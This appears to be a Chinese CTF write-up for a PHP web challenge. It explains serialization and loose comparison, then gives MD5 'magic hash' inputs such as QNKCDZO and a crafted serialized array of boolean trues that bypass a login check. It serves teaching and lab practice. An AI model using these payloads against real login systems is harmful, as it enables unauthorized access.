天网管理系统

Notes:

1) PHP序列化与反序列化

serialize() 对输入的数据进行序列化转换

unserialize() 恢复原先变量,还原已经序列化的对象。

比如:$b=array('user'=>"admin",'pass'=>"admin");

      $a = serialize($b);
      var_dump($a);

      $b = unserialize($a);

      var_dump($b);

结果:string(52) "a:2:{s:4:"user";s:5:"admin";s:4:"pass";s:5:"admin";}" 

      array(2) { ["user"]=> string(5) "admin" ["pass"]=> string(5) "admin" } 

      序列化中的一些字符所代表的特殊意义(a->array i->int s->string b->boolean ),相当于是对数

      组添加了详细的信息,数字代表长度或个数

2) php弱类型

== : 比较运算符号,不会检查条件式的表达式的类型

===:  恒等计算符 , 同时检查表达式的值与类型(会检查表达式类型,如bool)

当php进行一些数学计算的时候,当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数


var_dump(0 == '0hhhhh');  // true
var_dump(0 == 'abcdefg'); // true 

var_dump(1 == '1ooooo');  // true


bool类型的true跟任意字符串可以弱类型相等


ture == "aaa" //true

true == 111   //true

true == 0      //false

Link:http://ctf5.shiyanbar.com/10/web1/

考点:PHP弱类型



点击 登入系统 发现没有一点反应,直接查看源代码


需要满足username参数的值经过md5加密之后等于0

下面的可以任选一个,都满足

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

将得到的URL输入到URL中


要想得到结果需满足,password数组已经序列化过,同时反序列化之后$data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'要为真,但不知道‘???’的值是什么,根据提示”伟大的科学家php方言道:成也布尔,败也布尔“可知要用到true弱类型相等

构造参数password的值 a:2:{s:4:"user";b:1;s:4:"pass";b:1;}


猜你喜欢

转载自blog.csdn.net/tc125/article/details/80671168
今日推荐